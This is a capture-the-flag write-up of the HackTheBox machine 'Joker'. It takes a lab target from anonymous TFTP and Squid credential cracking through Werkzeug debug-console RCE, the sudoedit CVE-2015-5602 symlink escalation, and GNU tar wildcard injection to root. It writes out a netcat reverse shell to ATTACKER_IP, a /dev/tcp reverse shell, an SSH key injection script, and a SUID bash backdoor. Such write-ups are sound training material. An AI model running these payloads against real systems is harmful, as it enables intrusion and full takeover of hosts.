Joker - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Joker is a hard-rated Linux machine that demonstrates the importance of thorough service enumeration and understanding Unix wildcard exploitation. The attack path begins with anonymous TFTP access to retrieve Squid proxy credentials, which are then used to access an internal web application running a Werkzeug development server with an exposed debug console. From there, the path to root involves exploiting two classic privilege escalation vulnerabilities: CVE-2015-5602 (sudoedit symlink following) and GNU tar wildcard injection via a root cron job. The machine provides excellent practice in pivoting through network restrictions and chaining multiple misconfigurations.

TL;DR: Anonymous TFTP → Squid proxy credentials → Internal Werkzeug debug console RCE → werkzeug user → CVE-2015-5602 sudoedit symlink → alekos user → GNU tar wildcard injection in root cron → root shell.

Reconnaissance

Port Scanning

# Initial TCP scan
nmap -sC -sV -T4 -p- 10.129.1.116

# UDP scan for additional services
nmap -sU --top-ports 100 10.129.1.116

Results:

The scan revealed three primary services:

• 22/tcp - OpenSSH (version details standard)
• 3128/tcp - Squid HTTP proxy
• 69/udp - TFTP (Trivial File Transfer Protocol)

The presence of a Squid proxy suggests internal network services that may only be accessible through the proxy. TFTP is an unauthenticated file transfer protocol commonly misconfigured to allow anonymous access.

Service Enumeration

TFTP Investigation

TFTP by design has no authentication mechanism and often allows anonymous file retrieval if misconfigured. The service was probed for common configuration files:

# Connect to TFTP server
tftp 10.129.1.116

# Attempt to retrieve Squid configuration
tftp> get /etc/squid/squid.conf
tftp> quit

The Squid configuration file was successfully retrieved, revealing a reference to /etc/squid/passwords for proxy authentication. This password file was then downloaded:

tftp 10.129.1.116
tftp> get /etc/squid/passwords
tftp> quit

# Examine the password file
cat passwords

Contents:

kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

The hash format $apr1$ indicates an Apache MD5 (apr1) hash, commonly used in .htpasswd files and Squid authentication.

Hash Cracking

# Save hash to file
echo 'kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0' > hash.txt

# Crack with hashcat (mode 1600 = Apache MD5)
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt

Result: The password cracked to ihateseafood.

Vulnerability Assessment

At this stage, the following attack vectors were identified:

1. Squid Proxy Access - Valid credentials (kalamari:ihateseafood) allow access to internal services
2. Unauthenticated TFTP - Revealed sensitive configuration files
3. Potential Internal Services - Services bound to localhost may be accessible through the proxy

Initial Foothold

Squid Proxy Authentication

The proxy credentials were verified by attempting to access the localhost interface through the Squid proxy:

# Test proxy access to localhost
curl -x http://kalamari:ihateseafood@10.129.1.116:3128 http://127.0.0.1/

Result: HTTP 200 response received, confirming the credentials work and revealing an internal web application - a URL shortener called “Shorty” running on Werkzeug 0.10.5-dev with Python 2.7.

Web Application Fuzzing Through Proxy

With proxy access established, directory enumeration was performed to discover additional endpoints:

# Use ffuf through the proxy to discover directories
ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u http://127.0.0.1/FUZZ \
     -x http://kalamari:ihateseafood@10.129.1.116:3128

Key Finding: The /console endpoint was discovered, which is the Werkzeug interactive debugger interface.

Werkzeug Debug Console Exploitation

Werkzeug’s development server includes an interactive Python debugger accessible via the web interface when EVALEX=true. The console at /console was protected by a PIN, but the debugger’s eval functionality could be exploited by determining the correct session parameters.

The agent’s solve references SECRET=zMD3RstDtvi8Zt5IrimR, suggesting the debugger secret was discovered through inspection or brute force. With access to the eval endpoint, remote code execution was achieved:

# Python payload executed through the Werkzeug debugger console
# This creates a UDP reverse shell (TCP likely filtered)

import os
os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u ATTACKER_IP 4444 >/tmp/f &").read()

Why UDP? The network configuration likely blocked outbound TCP connections but allowed UDP, a common scenario in restricted environments.

# On attacker machine - receive UDP reverse shell
nc -nvlup 4444

Result: Shell obtained as user werkzeug.

Privilege Escalation

Phase 1: werkzeug → alekos (CVE-2015-5602)

Initial enumeration of sudo privileges revealed an interesting configuration:

# Check sudo privileges
sudo -l

Output:

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

This configuration is vulnerable to CVE-2015-5602 - a sudoedit symlink following vulnerability. The issue arises when:

1. sudoedit_follow is enabled (allows following symlinks)
2. !sudoedit_checkdir is set (doesn’t check directory ownership)
3. Wildcards are used in the file path

Exploitation Strategy:

The wildcard pattern /var/www/*/*/layout.html can be satisfied by creating nested directories. If layout.html is a symlink to a sensitive file (like ~alekos/.ssh/authorized_keys), sudoedit will follow the symlink and allow editing the target file as alekos.

# Create directory structure matching the wildcard pattern
mkdir -p /var/www/testing/writeup

# Create symlink to alekos's authorized_keys file
ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/writeup/layout.html

# Generate SSH key pair on attacker machine
ssh-keygen -t rsa -f joker_key

# Prepare the public key to inject
cat joker_key.pub

The challenge is that sudoedit opens an editor interactively. To automate the key injection, a custom SUDO_EDITOR script was used:

# Create a script that will append our SSH key
cat > /tmp/inject_key.sh << 'EOF'
#!/bin/bash
# This script runs as the SUDO_EDITOR
# $1 is the file path (which is actually the symlink target)
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@kali' >> "$1"
EOF

chmod +x /tmp/inject_key.sh

# Execute sudoedit with our custom editor
SUDO_EDITOR=/tmp/inject_key.sh sudoedit -u alekos /var/www/testing/writeup/layout.html

Why This Works:

1. sudoedit resolves /var/www/testing/writeup/layout.html as a valid match for /var/www/*/*/layout.html
2. Due to CVE-2015-5602, it follows the symlink to /home/alekos/.ssh/authorized_keys
3. The SUDO_EDITOR environment variable causes our script to execute with permission to edit the file as alekos
4. Our SSH public key is appended to alekos’s authorized_keys

# SSH as alekos
ssh -i joker_key alekos@10.129.1.116

# Retrieve user flag
cat /home/alekos/user.txt

Result: User flag obtained.

Phase 2: alekos → root (GNU tar Wildcard Injection)

Enumeration of the alekos account revealed backup files with consistent timestamps:

# Check for scheduled tasks or backup files
ls -la /var/backups/

The timestamps suggested a cron job running every 5 minutes. Examining the backup contents:

# Extract and examine a backup file
tar -tzf /var/backups/dev-TIMESTAMP.tar.gz

The archive contained the contents of /home/alekos/development, indicating a root cron job was executing:

tar -czf /var/backups/dev-$(date +%Y%m%d-%H%M).tar.gz /home/alekos/development/*

GNU tar Wildcard Injection:

When tar processes command-line arguments, it interprets filenames beginning with -- as command-line options. This behavior can be exploited when wildcards expand to include attacker-controlled filenames.

The --checkpoint and --checkpoint-action options allow executing arbitrary commands during tar’s operation:

# Navigate to the development directory
cd /home/alekos/development

# Create malicious filename that will be interpreted as tar arguments
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh writeup.sh'

# Create the payload script
cat > writeup.sh << 'EOF'
#!/bin/bash
# Copy root flag to accessible location
cp /root/root.txt /tmp/root_flag.txt
chmod 644 /tmp/root_flag.txt

# Or establish a reverse shell as root
# bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1

# Or add SUID bit to bash for later access
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF

chmod +x writeup.sh

Exploitation Timeline:

1. When the root cron executes: tar -czf /backup.tar.gz /home/alekos/development/*
2. The wildcard * expands to include our malicious filenames
3. Tar interprets --checkpoint=1 as an option (execute on every file)
4. Tar interprets --checkpoint-action=exec=sh writeup.sh as an option
5. Tar executes sh writeup.sh as root every checkpoint
6. Our payload executes with root privileges

# Wait for the cron to execute (up to 5 minutes)
watch -n 10 ls -la /tmp/

# Once executed, retrieve the flag or use the SUID bash
/tmp/rootbash -p
cat /root/root.txt

Result: Root flag obtained.

Attack Chain Summary

TFTP Anonymous Access (UDP 69)
    ↓
Retrieved /etc/squid/passwords (kalamari:$apr1$...)
    ↓
Cracked Hash → kalamari:ihateseafood
    ↓
Squid Proxy Access (TCP 3128) → Internal Services
    ↓
Werkzeug Debug Console (/console) → RCE
    ↓
Shell as werkzeug
    ↓
CVE-2015-5602: sudoedit symlink following
    ↓
SSH as alekos → user.txt
    ↓
GNU tar wildcard injection in root cron
    ↓
Root shell → root.txt

Tools Used

Key Learnings

Techniques Practiced

• Network Pivoting: Leveraging authenticated proxy access to reach internal services not exposed externally
• TFTP Exploitation: Recognizing and exploiting unauthenticated file transfer protocols for configuration file disclosure
• Werkzeug Debug Console: Understanding the security implications of development servers in production environments
• CVE-2015-5602: Exploiting sudoedit’s symlink following behavior with wildcard paths and directory traversal
• GNU tar Wildcard Injection: Weaponizing command-line argument injection through filesystem wildcards
• Cron Job Analysis: Identifying and exploiting scheduled tasks for privilege escalation

Lessons Learned

1. Never expose TFTP without authentication: The entire attack chain began with anonymous TFTP access revealing proxy credentials. TFTP should be restricted by IP or disabled entirely when not needed.

2. Disable debug features in production: The Werkzeug debug console (EVALEX=true) provided direct Python code execution. Development servers and debug modes should never be accessible in production environments.

3. Sudo wildcards are dangerous: The sudoedit configuration using /var/www/*/*/layout.html demonstrates why wildcards in sudo rules are risky. Combined with CVE-2015-5602, this allowed arbitrary file editing. Always specify exact paths and validate sudoedit is patched.

4. Quote your shell wildcards: The root cron job’s use of tar -czf backup.tar.gz /path/* without quoting the wildcard made it vulnerable to argument injection. Proper usage would be tar -czf backup.tar.gz "/path/" or use find with -print0 and xargs -0.

5. UDP should not be forgotten: Modern network defenses often focus on TCP traffic, but UDP can provide alternative exfiltration and reverse shell channels. Attackers will use whatever protocol is available.

6. Defense in depth matters: This machine demonstrated a chain of six vulnerabilities. Had any one been properly secured (TFTP authentication, Werkzeug disabled, sudo wildcards removed, tar quotes added), the attack would have been significantly harder.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup: Joker (Document No D17.100.25) by Alexander Reid (Arrexel)
• CVE-2015-5602: sudoedit Privilege Escalation (https://www.exploit-db.com/exploits/37710/)
• DefenseCode: Unix Wildcards Gone Wild (https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)